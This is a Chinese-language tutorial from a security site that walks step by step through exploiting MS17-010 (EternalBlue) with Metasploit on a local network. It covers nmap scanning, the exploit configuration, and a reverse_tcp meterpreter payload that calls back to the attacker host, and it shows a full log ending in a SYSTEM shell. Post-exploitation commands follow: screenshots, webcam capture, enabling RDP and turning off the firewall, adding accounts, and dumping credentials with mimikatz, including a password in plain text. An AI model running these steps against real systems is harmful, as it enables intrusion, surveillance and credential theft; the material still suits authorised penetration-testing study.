Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】MSF框架实现“永恒之蓝”的闪电攻击

$
0
0
【技术分享】MSF框架实现“永恒之蓝”的闪电攻击

2017-06-12 09:58:40

阅读:599次
点赞(0)
收藏
来源: 安全客





【技术分享】MSF框架实现“永恒之蓝”的闪电攻击

作者:myles007





【技术分享】MSF框架实现“永恒之蓝”的闪电攻击

作者:myles007

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、攻击简介

在NSA工具箱刚刚放出来的时候,大家都在学习怎么玩转这个工具箱中的“永恒之蓝”的攻击,相信每个小伙伴学习的使用的时,都很不适应并很是花费了一番周折才搞定它吧,而且每次使用还要准备好相应的条件,今天就跟大家分享下我们刚刚学习到利用MSF框架快速搞定“MS017-010”漏洞。

其实我们这里所说的使用MSF 实现 “永恒之蓝”的快速攻击,就是利用Metasploit中近期更新的针对ms17-101漏洞的攻击载荷进行攻击获取主机控制权限。我这里简单的记录下整个攻击利用所需要的工具准备、利用过程以及后渗透的一些简单内容。


二、工具准备

那接下来让我们准备下相关的工具吧,相信大家肯定会说,不还是要准备环境吗,其实这个环境都是大家进程用到的基本工具环境,只是做下简单准备就OK了。

2.1 nmap 环境准备

(1)请将Nmap安装到当前最新版本(7.40以上);

(2)确保 script脚本中包含smb-vuln-ms17-010.nse脚本;

在后面扫描检测是需要用到此脚本进行漏洞扫描检查,有关script脚本的存放位置在Nmap安装根目录下的有个“script”目录,直接进入搜索“ms17-010”,存在则无需再下载。

(3)相关软件下载

nmap下载地址:https://nmap.org/download.html

smb-vuln-ms17-010.nse下载地址:https://nmap.org/nsedoc/scripts/smb-vuln-ms17-010.html

2.2 MSF 环境准备

metasploit 其默认在kali中就自带有整个攻击框架,后续我们对我们简称其为MSF框架。因为我们要用到针对“永恒之蓝”漏洞的攻击,故需要将MSF框架升级到最新版本,至少在4.14.17版本以上。

2.2.1 kali环境要求

建议大家直接使用kali2.0的环境,这样后续进行MSF框架的升级也比较方便,不容易出现各种未知的问题,方面我们后续渗透攻击的展开。

(1) 编辑 kali 更新源

首先我配置kali的更新源:直接编辑更新源的配置文件“/etc/apt/sources.list” ,然后将下面的源复制进去保存即可。

国内kali镜像更新源:

1.#阿里云Kali源 2.debhttp://mirrors.aliyun.com/kalikalimainnon-freecontrib 3.deb-srchttp://mirrors.aliyun.com/kalikalimainnon-freecontrib 4.debhttp://mirrors.aliyun.com/kali-securitykali/updatesmaincontribnon-free

配置完源配置文件后,直接进行更新安装,具体命令如下。

root@kali:~#apt-getupdate&&apt-getupgrade&&apt-getdist-upgrade

(2)更新 kali系统

kali 源更新完后,我们进kali 内核的更新,具体更方法如下。

root@kali:apt-getinstalllinux-headers-$(uname-r)

注:如果报错了的话可以输入这个试试

aptitude-rinstalllinux-headers-$(uname-r

2.2.2 MSF攻击框架版本要求

MSF框架版本要求在 4.11.17版本以上,具体版本查看方法如下。

1.#msfconsole#进入框架 2.msfconsole>version

三、主机发现

对于主机的发现,我们可以使用的方法很多,这里简单记录和说明几种,供大家共同学习,每个人可根据主机的喜欢选择使用。

3.1 fping

在kali 系统同自带有fping这个扫描工具,有关于主机发现的扫描命令如下。

fping-asg192.168.1.0/24

3.2 nbtscan

在 kali 中自带有nbtscan这个同网段主机发现工具,有关扫描命令记录下发。

nbtscan-r192.168.1.0/24

3.3 nmap

关于namp 主机发现与扫描功能的强大,我们这里简单了记录几种个人常用的扫描方法。

(1) ping 包扫描

nmap-n-sS192.168.1.0/24

(2) 指定端口发现扫描

nmap-n-p445192.168.1.0/24--open

(3) 针对漏洞脚本的定向扫描

nmap-n-p445--scriptsmb-vuln-ms17-010192.168.1.0/24--open

以上扫描中,针对本次演示攻击中的主机发现扫描,个人推荐使用 nmap -n -p445 192.168.1.0/24 --open 其扫描发现的效率最高。


四、漏洞扫描

在确定目标范围中那些主机是存活后,我们可以进行定向445端口的漏洞脚本扫描了,直接找到存在漏洞的目标主机,为后续的MSF攻击提供目标。

其实说到这里,大家会发现上面第三章节“主机发现”这一步,我们可以直接跳过,直接进定向445共享端口的漏洞扫描,上面之所以写出了,也是为了自己以后的学习和使用做一个笔记和记录。

4.1 Nmap 漏洞扫描

MS17-101漏洞定向扫描命令如下:

nmap-n-p445--scriptsmb-vuln-ms17-010192.168.1.0/24--open 1.StartingNmap7.40(https://nmap.org)at2017-06-0609:38?D1迆㊣那℅?那㊣?? 2.Nmapscanreportfor192.168.1.1 3.Hostisup(0.00088slatency). 4.PORTSTATESERVICE 5.445/tcpclosedmicrosoft-ds 6.MACAddress:94:0C:6D:11:9F:CE(Tp-linkTechnologies) 7. 8.Nmapscanreportfor192.168.1.103 9.Hostisup(0.072slatency). 10.PORTSTATESERVICE 11.445/tcpfilteredmicrosoft-ds 12.MACAddress:38:A4:ED:68:9E:25(XiaomiCommunications) 13. 14.Nmapscanreportfor192.168.1.109 15.Hostisup(0.0059slatency). 16.PORTSTATESERVICE 17.445/tcpclosedmicrosoft-ds 18.MACAddress:60:02:B4:7B:4D:93(WistronNeweb) 19. 20.Nmapscanreportfor192.168.1.112 21.Hostisup(0.0040slatency). 22.PORTSTATESERVICE 23.445/tcpopenmicrosoft-ds 24.MACAddress:48:D2:24:FF:6A:CD(LiteonTechnology) 25. 26.Hostscriptresults: 27.|smb-vuln-ms17-010: 28.|VULNERABLE: 29.|RemoteCodeExecutionvulnerabilityinMicrosoftSMBv1servers(ms17-010) 30.|State:VULNERABLE 31.|IDs:CVE:CVE-2017-0143 32.|Riskfactor:HIGH 33.|AcriticalremotecodeexecutionvulnerabilityexistsinMicrosoftSMBv1 34.|servers(ms17-010). 35.| 36.|Disclosuredate:2017-03-14 37.|References: 38.|https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ 39.|https://technet.microsoft.com/en-us/library/security/ms17-010.aspx 40.|_https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

通过Nmap 的445端口定向漏洞扫描发现 192.168.1.112 存在MS17-010漏洞。

4.2 MSF Auxiliary 辅助扫描

其实如果不直接使用namp进行漏洞定向扫描,我们也可以直接使用MSF框架的辅助模块“”auxiliary”中的扫描模块进行扫描。了解MSF的同学肯定都知道,MSF的扫描模块基本也就是调用nmap扫描来实现的。这里就简单记录下这个“auxiliary/scanner/”扫描模块的下漏洞扫描方法。

msfconsole#进入MSF框架 version#确认下MSF的版本 searchms17_010#查找漏洞模块的具体路径 useauxiliary/scanner/smb/smb_ms17_010#调用漏洞扫描模块 showoption#查看模块配置选项 setRHOST192.168.1.1-254#配置扫描目标 setTHREADS30#配置扫描线程 run#运行脚本

这个使用下来,我们发现其实还没有namp 一条命令就搞定了,来的方便。


五、MSF 漏洞利用过程

通过以上所有环境的准备和漏洞扫描主机的发现,接下来使用MSF框架进行MS17-10漏洞的攻击,也就是“几秒”中的事情了,具体使用方法和过程记录如下。

5.1 ms17-010 漏洞利用之MSF使用方法

msfconsole#进入MSF框架 version#确保MSF框架版本在4.14.17以上; searchms17_010#漏洞模块路径查询 setexploit/windows/smb/ms17_010_eternalblue#调用攻击模块 setRHOST192.168.1.112#设定攻击目标 exploit#发起攻击

5.2 ms17-010 漏洞攻击MSF框架实践记录

5.2.1 漏洞模块路径查询


【技术分享】MSF框架实现“永恒之蓝”的闪电攻击

5.2.2 调用和配置exploit攻击参数


【技术分享】MSF框架实现“永恒之蓝”的闪电攻击

5.2.3 发起攻击


【技术分享】MSF框架实现“永恒之蓝”的闪电攻击

5.2.4 获取shell

获取的shell 后,我们可以通过名getuid查看下当前用户的权限。


【技术分享】MSF框架实现“永恒之蓝”的闪电攻击

六、维持访问

这里的说到维持访问,主要是想记录下关于使用meterpreter这个攻击载荷模块,我们在利用漏洞的过程中,如果可以使用meterpreter攻击载荷模块,尽量使用这个模块。

6.1 payload 攻击载荷理论

说到这里就就普及下MSF框架下关于“payload”攻击载荷的基本概念,那么什么是payload呢?

payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,并返回一个shell,也可以进行程序注入等,payload有3种类型。

(1)singles(独立载荷)

独立载荷,可直接植入目标系统并执行相应的程序,如:shell_bind_tcp这个payload。

(2)stagers(传输器载荷)

传输器载荷,就是用于目标机与攻击机之间建立稳定的网络连接,与传stages(输体载荷配)合攻击。通常该种载荷体积都非常小,可以在漏洞利用后,方便进行注入,这类载荷功能都非常相似,大致分为bind型和reverse型。

bind型:需要攻击机主动连接目标端口的;

reverse型:目标机会反向连接攻击机,需要提前设定好连接攻击机的ip地址和端口号的配置。

(3)stages(传输体)

传输体载荷,如shell,meterpreter等。在stagers建立好稳定的连接后,攻击机将stages传输给目标机,由stagers进行相应处理,将控制权转交给stages。比如得到目标机的shell,或者meterpreter控制程序运行。这样攻击机可以在本端输入相应命令控制目标机。

由此可见,meterpreter其实就是一个payload,它需要stagers(传输器)和相应的stages(传输体)配合运行,meterpreter是运行在内存中的,通过注入dll文件实现,在目标机硬盘上不会留下文件痕迹,所以在被入侵时很难找到。真因为这点,所以meterpreter非常可靠稳定优秀。

6.2 payload 攻击载荷理解

上面说了这么多,可能大家看起来比较费劲难以理解,其实简单的理解就是说payload攻击载荷有2个大的类型:

(1) 独立体(single)

从这个英文单词single,就可以大概知道这类payload是个独立,单独的意思,其实在结合定义我们就可以看出,攻击载荷一般做两件事情

一、就是建立目标主机与攻击主机之间的网络连接;

二、就是在连接建立的基础上获取目标主机的控制权限,即获取可供操作的shell。

(2)结合体payload

在理解了一个完整的payload是有两部分组成的基础上,我们可以理解我们这里所说的结合体了,其实就是将原本的single独立体分割为了两个部分:“传输器载荷”与“传输体载荷”(stages & stagers)

比如“windows/meterpreter/reverse_tcp”是由一个传输器载荷(reverse_tcp)和一个传输体载荷(meterpreter)所组成的,其功能等价于独立攻击载荷“windows/shell_reverse_tcp”

6.3 meterpreter 攻击载荷实战

我们这里就使用MS17-010漏洞渗透模块结合meterpreter攻击载荷模块进行一次实战演练,通过永恒之蓝漏洞我们来获取一个meterpreter,顺道看meterpreter功能的强大之处。

其他攻击流程与前面基本相同,唯独多了一个配置 payload攻击载荷的过程,具体配置如下。

6.3.1 攻击载荷配置过程

调用exploit 攻击

useexploit/windows/smb/ms17_010_eternalblue setrhost192.168.1.112 配置攻击载荷
setpayloadwindows/x64/meterpreter/reverse_tcp setlhost192.168.1.118 发起攻击
exploit 获取shell
getuid

6.3.2 具体实操过程记录

1.msf>useexploit/windows/smb/ms17_010_eternalblue#调用ms17-010永恒之蓝漏洞攻击模块 2.msfexploit(ms17_010_eternalblue)>setrhost192.168.1.112#设定攻击目标192.168.1.112 3.rhost=>192.168.1.112 4.msfexploit(ms17_010_eternalblue)>setpayloadwindows/x64/meterpreter/reverse_tcp#调用反弹的攻击载荷 5.payload=>windows/x64/meterpreter/reverse_tcp 6.msfexploit(ms17_010_eternalblue)>setlhost192.168.1.118#设定将meterpreter反弹给192.168.1.118 7.lhost=>192.168.1.118 8.msfexploit(ms17_010_eternalblue)>showoptions#查询攻击参数设置 9. 10.Moduleoptions(exploit/windows/smb/ms17_010_eternalblue): 11. 12.NameCurrentSettingRequiredDescription 13.-------------------------------------- 14.GroomAllocations12yesInitialnumberoftimestogroomthekernelpool. 15.GroomDelta5yesTheamounttoincreasethegroomcountbypertry. 16.MaxExploitAttempts3yesThenumberoftimestoretrytheexploit. 17.ProcessNamespoolsv.exeyesProcesstoinjectpayloadinto. 18.RHOST192.168.1.112yesThetargetaddress 19.RPORT445yesThetargetport(TCP) 20.VerifyArchtrueyesCheckifremotearchitecturematchesexploitTarget. 21.VerifyTargettrueyesCheckifremoteOSmatchesexploitTarget. 22. 23. 24.Payloadoptions(windows/x64/meterpreter/reverse_tcp): 25. 26.NameCurrentSettingRequiredDescription 27.-------------------------------------- 28.EXITFUNCthreadyesExittechnique(Accepted:'',seh,thread,process,none) 29.LHOST192.168.1.118yesThelistenaddress 30.LPORT4444yesThelistenport 31. 32. 33.Exploittarget: 34. 35.IdName 36.------ 37.0Windows7andServer2008R2(x64)AllServicePacks 38. 39. 40.msfexploit(ms17_010_eternalblue)>exploit#发起攻击 41. 42.[*]StartedreverseTCPhandleron192.168.1.118:4444 43.[*]192.168.1.112:445-Connectingtotargetforexploitation. 44.[+]192.168.1.112:445-Connectionestablishedforexploitation. 45.[+]192.168.1.112:445-TargetOSselectedvalidforOSindicatedbySMBreply 46.[*]192.168.1.112:445-CORErawbufferdump(23bytes) 47.[*]192.168.1.112:445-0x0000000057696e646f7773203720556c74696d61Windows7Ultima 48.[*]192.168.1.112:445-0x00000010746520362e3100te6.1 49.[+]192.168.1.112:445-TargetarchselectedvalidforOSindicatedbyDCE/RPCreply 50.[*]192.168.1.112:445-Tryingexploitwith12GroomAllocations. 51.[*]192.168.1.112:445-Sendingallbutlastfragmentofexploitpacket 52.[*]192.168.1.112:445-Startingnon-pagedpoolgrooming 53.[+]192.168.1.112:445-SendingSMBv2buffers 54.[+]192.168.1.112:445-ClosingSMBv1connectioncreatingfreeholeadjacenttoSMBv2buffer. 55.[*]192.168.1.112:445-SendingfinalSMBv2buffers. 56.[*]192.168.1.112:445-Sendinglastfragmentofexploitpacket! 57.[*]192.168.1.112:445-Receivingresponsefromexploitpacket 58.[+]192.168.1.112:445-ETERNALBLUEoverwritecompletedsuccessfully(0xC000000D)! 59.[*]192.168.1.112:445-Sendingeggtocorruptedconnection. 60.[*]192.168.1.112:445-Triggeringfreeofcorruptedbuffer. 61.[*]Sendingstage(1189423bytes)to192.168.1.112 62.[*]Meterpretersession1opened(192.168.1.118:4444->192.168.1.112:49177)at2017-06-0713:42:17+0800 63.[+]192.168.1.112:445-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 64.[+]192.168.1.112:445-=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 65.[+]192.168.1.112:445-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 66. 67.meterpreter>getuid#查询当前用户权限为SYSTEM,获取到到最高权限 68.Serverusername:NTAUTHORITY\SYSTEM 69.meterpreter>sysinfo#系统信息查询,当前系统为Windows7 70.Computer:CHINAMAN-PC 71.OS:Windows7(Build7600). 72.Architecture:x64 73.SystemLanguage:zh_CN 74.Domain:WORKGROUP 75.LoggedOnUsers:0 76.Meterpreter:x64/windows 77.meterpreter>

6.3.3 meterpreter 功能展现

(1)桌面抓图

1. meterpreter > screenshot


【技术分享】MSF框架实现“永恒之蓝”的闪电攻击

(2)视频开启

1. meterpreter > webcam_scream


【技术分享】MSF框架实现“永恒之蓝”的闪电攻击

(3)开启远程桌面

1. > meterpreter > run post/windows/manage/enable_rdp

2. 此命令可以帮我们一建开启远程桌面,并帮我们关闭防火墙,真的牛xxx.

注:一开始使用命令 run getgui -u admin -p passw0rd 没能开启远程RDP桌面,后来才查询到上面这个攻击脚本。当然并不是说,就不能用哦。

(4)添加账号

直接进入系统shell,添加账号(结果失败)

1.>shell 2.>netusertest123/add

3. ... # 一直没有回显,怀疑是由于安装了360导致的,后来进过验证的确是这原因,所有说安装个360还是很有用的,不要总是说人家是流氓软件,不是打广告哈,切实感受...

(5)获取系统管理密码

想直接添加账号进行提权,前面操作是不了,那么我们现在就出杀手锏,直接使用mimikatz来获取系统管理账号的密码。

第一步:载入mimikatz

1. meterpreter > load mimikatz

第二步:使用命令wdigest获取密码

1.meterpreter>wdigest 2.[+]RunningasSYSTEM 3.[*]Retrievingwdigestcredentials 4.wdigestcredentials 5.=================== 6. 7.AuthIDPackageDomainUserPassword 8.------------------------------- 9.0;997NegotiateNTAUTHORITYLOCALSERVICE 10.0;996NegotiateWORKGROUPCHINAMAN-PC$ 11.0;47327NTLM 12.0;999NTLMWORKGROUPCHINAMAN-PC$ 13.0;636147NTLMChinaMan-PCChinaManmima-009 14.>

注:Mimikatz 的命令帮助:

1.MimikatzCommands 2.================= 3. 4.CommandDescription 5.------------------ 6.kerberosAttempttoretrievekerberoscreds 7.livesspAttempttoretrievelivesspcreds 8.mimikatz_commandRunacustomcommand 9.msvAttempttoretrievemsvcreds(hashes) 10.sspAttempttoretrievesspcreds 11.tspkgAttempttoretrievetspkgcreds 12.wdigestAttempttoretrievewdigestcreds (6)远程桌面连接之

另开启一个terminal,使用名rdesktop 连接远程桌面

1.root#rdesktop192.168.1.112-uuser-ppassw0rd

有关meterpreter 的功能还有很多,这里就不足做过多的说明了,就是简单记录下本次实战演练过程中遇到的各种问题和小技能有关其他的功能使用可以参考其他文档做进一步的学习。


参考学习

https://www.zybuluo.com/mdeditor#728079-full-reader

https://www.hx99.net/Article/Tech/201505/36750.html

http://blog.sina.com.cn/s/blog_4c86552f0102wll1.html



【技术分享】MSF框架实现“永恒之蓝”的闪电攻击
【技术分享】MSF框架实现“永恒之蓝”的闪电攻击
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3964.html

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images